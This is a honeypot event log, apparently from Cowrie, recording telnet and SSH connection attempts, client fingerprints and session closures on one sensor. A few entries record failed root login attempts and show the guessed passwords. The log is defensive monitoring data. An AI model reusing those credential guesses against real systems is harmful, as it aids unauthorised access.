{"eventid":"cowrie.session.closed","duration":31.559091091156006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:49.009950Z","src_ip":"174.142.104.49","session":"2ad5d6cae657","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password02!","message":"login attempt [root/password02!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:49.131357Z","src_ip":"200.105.172.184","session":"2779c4aa5664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.421980619430542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:49.360626Z","src_ip":"174.142.104.49","session":"0a4bb835d847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c78a098970b","protocol":"telnet","message":"New connection: 193.22.147.168:46924 (10.17.0.5:23) [session: 7c78a098970b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:49.513221Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:49.842197Z","src_ip":"96.78.175.36","session":"7fe75b5a2b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:50.249518Z","src_ip":"200.105.172.184","session":"2779c4aa5664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.94630455970764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:50.942694Z","src_ip":"193.22.147.168","session":"ee3b594d0628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7394118309021,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:51.743535Z","src_ip":"161.132.53.68","session":"8af1b0d3775c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287955284118652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:52.079510Z","src_ip":"193.22.147.168","session":"b82ca8022481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56436,"dst_ip":"159.203.135.109","dst_port":23,"session":"74b6bfe19c25","protocol":"telnet","message":"New connection: 174.142.104.49:56436 (159.203.135.109:23) [session: 74b6bfe19c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:52.585697Z"}
{"eventid":"cowrie.session.closed","duration":31.429277658462524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:52.845129Z","src_ip":"174.142.104.49","session":"8c7bc4b5ab0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34032,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec6f1cb133f7","protocol":"telnet","message":"New connection: 174.142.104.49:34032 (159.203.135.109:23) [session: ec6f1cb133f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:53.103527Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ea80572a4f","protocol":"telnet","message":"New connection: 193.22.147.168:46934 (10.17.0.5:23) [session: c9ea80572a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:53.128684Z"}
{"eventid":"cowrie.session.closed","duration":32.16473913192749,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:53.216794Z","src_ip":"193.22.147.168","session":"aaeb44079113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.940380096435547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:56.280812Z","src_ip":"193.22.147.168","session":"94c4d452136c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46940,"dst_ip":"10.17.0.5","dst_port":23,"session":"973337ad815c","protocol":"telnet","message":"New connection: 193.22.147.168:46940 (10.17.0.5:23) [session: 973337ad815c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:57.254282Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3df0b81d46","protocol":"telnet","message":"New connection: 193.22.147.168:46944 (10.17.0.5:23) [session: 3e3df0b81d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:57.814205Z"}
{"eventid":"cowrie.session.closed","duration":30.355506658554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:58.476526Z","src_ip":"174.142.104.49","session":"edf51aef44bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce12f6fce979","protocol":"telnet","message":"New connection: 193.22.147.168:46960 (10.17.0.5:23) [session: ce12f6fce979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:59.095412Z"}
{"eventid":"cowrie.session.closed","duration":32.71513295173645,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:59.717320Z","src_ip":"193.22.147.168","session":"b710bcc5d96c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03417158126831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:59.898137Z","src_ip":"174.142.104.49","session":"1b14413b9ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46682,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2ec750ed66c","protocol":"telnet","message":"New connection: 174.142.104.49:46682 (159.203.135.109:23) [session: a2ec750ed66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:00.793244Z"}
{"eventid":"cowrie.session.closed","duration":30.836431741714478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:02.312314Z","src_ip":"174.142.104.49","session":"8d147691eb73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83955001831055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:03.619979Z","src_ip":"193.22.147.168","session":"c428bc6cf38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340768098831177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:03.692808Z","src_ip":"174.142.104.49","session":"666b1311e4b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"f229745d6a4d","protocol":"telnet","message":"New connection: 193.22.147.168:54682 (10.17.0.5:23) [session: f229745d6a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:06.061346Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46300,"dst_ip":"159.203.135.109","dst_port":23,"session":"fced404dcbf8","protocol":"telnet","message":"New connection: 174.142.104.49:46300 (159.203.135.109:23) [session: fced404dcbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:06.569666Z"}
{"eventid":"cowrie.session.closed","duration":30.940648317337036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:06.992550Z","src_ip":"174.142.104.49","session":"5bc0e6d5abbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59198,"dst_ip":"159.203.135.109","dst_port":23,"session":"477c70451310","protocol":"telnet","message":"New connection: 174.142.104.49:59198 (159.203.135.109:23) [session: 477c70451310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:08.435347Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be305362744","protocol":"telnet","message":"New connection: 174.142.104.49:59652 (159.203.135.109:23) [session: 5be305362744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:08.709479Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1e8a674036","protocol":"telnet","message":"New connection: 193.22.147.168:54692 (10.17.0.5:23) [session: 7a1e8a674036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:08.946906Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22be59a1cdd","protocol":"telnet","message":"New connection: 174.142.104.49:56282 (159.203.135.109:23) [session: c22be59a1cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:09.590097Z"}
{"eventid":"cowrie.session.closed","duration":32.393232107162476,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:10.531002Z","src_ip":"193.22.147.168","session":"d610ee8d42a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00217008590698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:11.180608Z","src_ip":"174.142.104.49","session":"12d25d058652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3003249168396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:13.200453Z","src_ip":"193.22.147.168","session":"fd035f024e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360947847366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:13.471308Z","src_ip":"174.142.104.49","session":"efffa4082b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.643627882003784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:13.821147Z","src_ip":"193.22.147.168","session":"26680dcd2265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.552350521087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:14.012779Z","src_ip":"174.142.104.49","session":"089e6dc52ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39555644989014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:14.288305Z","src_ip":"193.22.147.168","session":"9b6d1e70aef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.760587692260742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:16.986248Z","src_ip":"174.142.104.49","session":"51ae30531c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35835409164429,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:17.569071Z","src_ip":"193.22.147.168","session":"aa5cee0f126d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69498133659363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:18.214267Z","src_ip":"193.22.147.168","session":"0533f2997f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99294352531433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:18.556805Z","src_ip":"193.22.147.168","session":"3b20e5aa4a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42476,"dst_ip":"10.17.0.5","dst_port":23,"session":"0abd8d2b8d71","protocol":"telnet","message":"New connection: 193.22.147.168:42476 (10.17.0.5:23) [session: 0abd8d2b8d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:18.651094Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":42460,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a10e801ae2","protocol":"telnet","message":"New connection: 193.22.147.168:42460 (10.17.0.5:23) [session: 96a10e801ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:18.656202Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46818,"dst_ip":"159.203.135.109","dst_port":23,"session":"3805130182a2","protocol":"telnet","message":"New connection: 174.142.104.49:46818 (159.203.135.109:23) [session: 3805130182a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:19.740074Z"}
{"eventid":"cowrie.session.closed","duration":32.86832785606384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:20.433221Z","src_ip":"193.22.147.168","session":"6f7abd748e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.071816205978394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:21.584919Z","src_ip":"193.22.147.168","session":"7c78a098970b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":53634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5402272816f","protocol":"ssh","message":"New connection: 165.154.6.69:53634 (159.203.135.109:22) [session: e5402272816f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:21.940539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:21.944508Z","src_ip":"165.154.6.69","session":"e5402272816f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:22.160369Z","src_ip":"165.154.6.69","session":"e5402272816f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":60516,"dst_ip":"10.17.0.5","dst_port":23,"session":"1821b2e49959","protocol":"telnet","message":"New connection: 193.22.147.168:60516 (10.17.0.5:23) [session: 1821b2e49959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:23.049721Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZxsw23edc","message":"login attempt [root/!QAZxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:23.055285Z","src_ip":"165.154.6.69","session":"e5402272816f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93445110321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:23.520031Z","src_ip":"174.142.104.49","session":"74b6bfe19c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"382ac9709c31","protocol":"telnet","message":"New connection: 193.22.147.168:60528 (10.17.0.5:23) [session: 382ac9709c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:23.568536Z"}
{"eventid":"cowrie.session.closed","duration":30.963823080062866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:24.067262Z","src_ip":"174.142.104.49","session":"ec6f1cb133f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:24.275776Z","src_ip":"165.154.6.69","session":"e5402272816f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56574,"dst_ip":"159.203.135.109","dst_port":23,"session":"289a2e8d7c6b","protocol":"telnet","message":"New connection: 174.142.104.49:56574 (159.203.135.109:23) [session: 289a2e8d7c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:25.243406Z"}
{"eventid":"cowrie.session.closed","duration":34.90983772277832,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:28.038381Z","src_ip":"193.22.147.168","session":"c9ea80572a4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9e6784c3da","protocol":"telnet","message":"New connection: 193.22.147.168:60540 (10.17.0.5:23) [session: 3f9e6784c3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:28.424085Z"}
{"eventid":"cowrie.session.closed","duration":32.5595543384552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:30.373633Z","src_ip":"193.22.147.168","session":"3e3df0b81d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35233020782471,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:31.447738Z","src_ip":"193.22.147.168","session":"ce12f6fce979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093478679656982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:31.886600Z","src_ip":"174.142.104.49","session":"a2ec750ed66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34225845336914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:33.596445Z","src_ip":"193.22.147.168","session":"973337ad815c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50670,"dst_ip":"159.203.135.109","dst_port":23,"session":"207499c49c3b","protocol":"telnet","message":"New connection: 161.132.53.68:50670 (159.203.135.109:23) [session: 207499c49c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:37.253845Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43724,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa5d5cba1f1","protocol":"telnet","message":"New connection: 174.142.104.49:43724 (159.203.135.109:23) [session: 0fa5d5cba1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:37.991486Z"}
{"eventid":"cowrie.session.closed","duration":31.487091541290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:38.056646Z","src_ip":"174.142.104.49","session":"fced404dcbf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0181827545166,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:38.079408Z","src_ip":"193.22.147.168","session":"f229745d6a4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":46214,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bcca0d2a488","protocol":"ssh","message":"New connection: 88.205.172.170:46214 (10.17.0.5:22) [session: 8bcca0d2a488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:38.745416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:38.750775Z","src_ip":"88.205.172.170","session":"8bcca0d2a488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:38.915489Z","src_ip":"88.205.172.170","session":"8bcca0d2a488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb7e1e51861","protocol":"ssh","message":"New connection: 96.78.175.36:33168 (10.17.0.5:22) [session: dcb7e1e51861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.038591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.043578Z","src_ip":"96.78.175.36","session":"dcb7e1e51861","protocol":"ssh"}
